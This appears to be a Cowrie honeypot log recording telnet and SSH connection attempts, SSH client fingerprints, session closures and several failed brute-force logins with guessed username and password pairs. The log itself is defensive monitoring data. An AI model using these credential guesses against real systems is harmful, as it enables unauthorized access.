{"eventid":"cowrie.session.connect","src_ip":"192.46.229.33","src_port":48824,"dst_ip":"10.17.0.5","dst_port":23,"session":"feaf788023ab","protocol":"telnet","message":"New connection: 192.46.229.33:48824 (10.17.0.5:23) [session: feaf788023ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:04.276999Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":59016,"dst_ip":"159.203.135.109","dst_port":23,"session":"198fd0b852ac","protocol":"telnet","message":"New connection: 188.166.220.49:59016 (159.203.135.109:23) [session: 198fd0b852ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:04.704599Z"}
{"eventid":"cowrie.session.closed","duration":34.36938285827637,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:04.792977Z","src_ip":"46.4.8.162","session":"6bdb4d0815f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.303367376327515,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:05.531958Z","src_ip":"192.46.229.33","session":"d29ed8a2a06a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":59116,"dst_ip":"159.203.135.109","dst_port":23,"session":"3593f7920703","protocol":"telnet","message":"New connection: 188.166.220.49:59116 (159.203.135.109:23) [session: 3593f7920703]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:05.771501Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":58420,"dst_ip":"159.203.135.109","dst_port":22,"session":"d42de6931eb9","protocol":"ssh","message":"New connection: 103.148.100.146:58420 (159.203.135.109:22) [session: d42de6931eb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:06.827271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:06.834093Z","src_ip":"103.148.100.146","session":"d42de6931eb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:07.097938Z","src_ip":"103.148.100.146","session":"d42de6931eb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":58114,"dst_ip":"159.203.135.109","dst_port":23,"session":"270557335a48","protocol":"telnet","message":"New connection: 46.4.8.162:58114 (159.203.135.109:23) [session: 270557335a48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:07.445086Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":58116,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8224faa1dc4","protocol":"telnet","message":"New connection: 46.4.8.162:58116 (159.203.135.109:23) [session: f8224faa1dc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:07.676982Z"}
{"eventid":"cowrie.session.closed","duration":32.59931802749634,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:07.703263Z","src_ip":"46.4.8.162","session":"777f8688a68a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asdfg!123456","message":"login attempt [root/Asdfg!123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:08.175179Z","src_ip":"103.148.100.146","session":"d42de6931eb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.13931465148926,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:08.381675Z","src_ip":"46.4.8.162","session":"893b1f66f15a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.208.179","src_port":54778,"dst_ip":"159.203.135.109","dst_port":22,"session":"629b9032a076","protocol":"ssh","message":"New connection: 45.78.208.179:54778 (159.203.135.109:22) [session: 629b9032a076]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:08.610409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:08.615758Z","src_ip":"45.78.208.179","session":"629b9032a076","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:08.852580Z","src_ip":"45.78.208.179","session":"629b9032a076","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:09.446201Z","src_ip":"103.148.100.146","session":"d42de6931eb9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dockeradmin","password":"abc123","message":"login attempt [dockeradmin/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:09.837785Z","src_ip":"45.78.208.179","session":"629b9032a076","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:11.075996Z","src_ip":"45.78.208.179","session":"629b9032a076","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.99562668800354,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:12.014447Z","src_ip":"46.4.8.162","session":"cd78e85ebe8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58594,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8cb0bbab6c5","protocol":"ssh","message":"New connection: 159.203.92.129:58594 (159.203.135.109:22) [session: d8cb0bbab6c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:12.195380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:12.200564Z","src_ip":"159.203.92.129","session":"d8cb0bbab6c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:12.207428Z","src_ip":"159.203.92.129","session":"d8cb0bbab6c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"passw0rd","message":"login attempt [admin/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:12.219310Z","src_ip":"159.203.92.129","session":"d8cb0bbab6c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:13.226999Z","src_ip":"159.203.92.129","session":"d8cb0bbab6c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":43386,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3d5aa19f3ef","protocol":"telnet","message":"New connection: 188.166.220.49:43386 (159.203.135.109:23) [session: c3d5aa19f3ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:13.733609Z"}
{"eventid":"cowrie.session.closed","duration":31.17190909385681,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:14.110641Z","src_ip":"46.4.8.162","session":"37195ace0858","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.341909885406494,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:14.273604Z","src_ip":"46.4.8.162","session":"23e0e4d14b3d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.07245850563049,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:14.959894Z","src_ip":"46.4.8.162","session":"42a3f4c554d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.776283502578735,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:16.002141Z","src_ip":"46.4.8.162","session":"4284936d4862","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.082984924316406,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:16.266016Z","src_ip":"46.4.8.162","session":"b6a5027c2c1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.857415914535522,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:16.354584Z","src_ip":"46.4.8.162","session":"ac34193af76c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.393812894821167,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:16.637409Z","src_ip":"192.46.229.33","session":"062b0e75d1a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.127610206604004,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:16.745766Z","src_ip":"46.4.8.162","session":"ee04f0440311","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.53462243080139,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:17.991689Z","src_ip":"46.4.8.162","session":"e24f111e5e3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.99380874633789,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:18.074836Z","src_ip":"46.4.8.162","session":"19cc951c74c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.617236614227295,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:19.147364Z","src_ip":"46.4.8.162","session":"c920cef1f70a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":51454,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4cb76643c71","protocol":"telnet","message":"New connection: 188.166.220.49:51454 (159.203.135.109:23) [session: b4cb76643c71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:19.159958Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":52700,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2df925f57e1","protocol":"telnet","message":"New connection: 46.4.8.162:52700 (159.203.135.109:23) [session: b2df925f57e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:19.486713Z"}
{"eventid":"cowrie.session.closed","duration":34.43333339691162,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:19.630522Z","src_ip":"46.4.8.162","session":"ec3912cae56f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":53116,"dst_ip":"159.203.135.109","dst_port":23,"session":"cfbc68b7482c","protocol":"telnet","message":"New connection: 188.166.220.49:53116 (159.203.135.109:23) [session: cfbc68b7482c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:20.425172Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.46.229.33","src_port":53620,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fc68659eca2","protocol":"telnet","message":"New connection: 192.46.229.33:53620 (10.17.0.5:23) [session: 4fc68659eca2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:20.599940Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":52714,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e3956f50440","protocol":"telnet","message":"New connection: 46.4.8.162:52714 (159.203.135.109:23) [session: 6e3956f50440]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:21.017699Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":52718,"dst_ip":"159.203.135.109","dst_port":23,"session":"a36bc4729489","protocol":"telnet","message":"New connection: 46.4.8.162:52718 (159.203.135.109:23) [session: a36bc4729489]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:21.075437Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":52728,"dst_ip":"159.203.135.109","dst_port":23,"session":"01925db984a9","protocol":"telnet","message":"New connection: 46.4.8.162:52728 (159.203.135.109:23) [session: 01925db984a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:21.725104Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.46.229.33","src_port":53678,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d378c4e3804","protocol":"telnet","message":"New connection: 192.46.229.33:53678 (10.17.0.5:23) [session: 4d378c4e3804]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:22.064744Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.46.229.33","src_port":54118,"dst_ip":"10.17.0.5","dst_port":23,"session":"5606f8bb3ea3","protocol":"telnet","message":"New connection: 192.46.229.33:54118 (10.17.0.5:23) [session: 5606f8bb3ea3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:22.233184Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.46.229.33","src_port":54160,"dst_ip":"10.17.0.5","dst_port":23,"session":"39a1fe62d4fa","protocol":"telnet","message":"New connection: 192.46.229.33:54160 (10.17.0.5:23) [session: 39a1fe62d4fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:22.432575Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":49866,"dst_ip":"159.203.135.109","dst_port":23,"session":"2036b4372728","protocol":"telnet","message":"New connection: 46.4.8.162:49866 (159.203.135.109:23) [session: 2036b4372728]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:23.322228Z"}
{"eventid":"cowrie.session.closed","duration":32.55160474777222,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:25.150841Z","src_ip":"46.4.8.162","session":"072b4f79eeb3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.12642741203308,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:25.602063Z","src_ip":"192.46.229.33","session":"50e6a5b0607b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.727715253829956,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:26.054746Z","src_ip":"46.4.8.162","session":"12b3c7f074a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.46.229.33","src_port":55268,"dst_ip":"10.17.0.5","dst_port":23,"session":"67e45e9d4c3e","protocol":"telnet","message":"New connection: 192.46.229.33:55268 (10.17.0.5:23) [session: 67e45e9d4c3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:26.125561Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.46.229.33","src_port":55288,"dst_ip":"10.17.0.5","dst_port":23,"session":"779c405fdc2c","protocol":"telnet","message":"New connection: 192.46.229.33:55288 (10.17.0.5:23) [session: 779c405fdc2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:26.310866Z"}
{"eventid":"cowrie.session.closed","duration":35.08777856826782,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:26.906844Z","src_ip":"46.4.8.162","session":"d21560b1f2bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.46.229.33","src_port":54530,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f2f3d6c8a95","protocol":"telnet","message":"New connection: 192.46.229.33:54530 (10.17.0.5:23) [session: 7f2f3d6c8a95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:27.149205Z"}
{"eventid":"cowrie.session.closed","duration":31.098541259765625,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:27.161904Z","src_ip":"46.4.8.162","session":"49efe8dcac56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.46.229.33","src_port":55320,"dst_ip":"10.17.0.5","dst_port":23,"session":"0966b457cfb4","protocol":"telnet","message":"New connection: 192.46.229.33:55320 (10.17.0.5:23) [session: 0966b457cfb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:27.507046Z"}
{"eventid":"cowrie.session.closed","duration":34.08232522010803,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:27.810890Z","src_ip":"46.4.8.162","session":"18425efc23df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.46.229.33","src_port":56104,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f9b29c8c90f","protocol":"telnet","message":"New connection: 192.46.229.33:56104 (10.17.0.5:23) [session: 4f9b29c8c90f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:30.135179Z"}
{"eventid":"cowrie.session.closed","duration":30.552473545074463,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:30.644626Z","src_ip":"192.46.229.33","session":"6ea28f74142f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":39948,"dst_ip":"159.203.135.109","dst_port":23,"session":"49cd6cdca4eb","protocol":"telnet","message":"New connection: 188.166.220.49:39948 (159.203.135.109:23) [session: 49cd6cdca4eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:31.136631Z"}
{"eventid":"cowrie.session.closed","duration":30.5738742351532,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:31.650273Z","src_ip":"192.46.229.33","session":"8e7d04d24e58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":41586,"dst_ip":"159.203.135.109","dst_port":23,"session":"79a2e05b54e0","protocol":"telnet","message":"New connection: 188.166.220.49:41586 (159.203.135.109:23) [session: 79a2e05b54e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:32.392227Z"}
{"eventid":"cowrie.session.closed","duration":33.48669624328613,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:32.748511Z","src_ip":"46.4.8.162","session":"781f17fa990b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.411039113998413,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:34.004862Z","src_ip":"46.4.8.162","session":"5c53cc45a0a9","protocol":"telnet"}
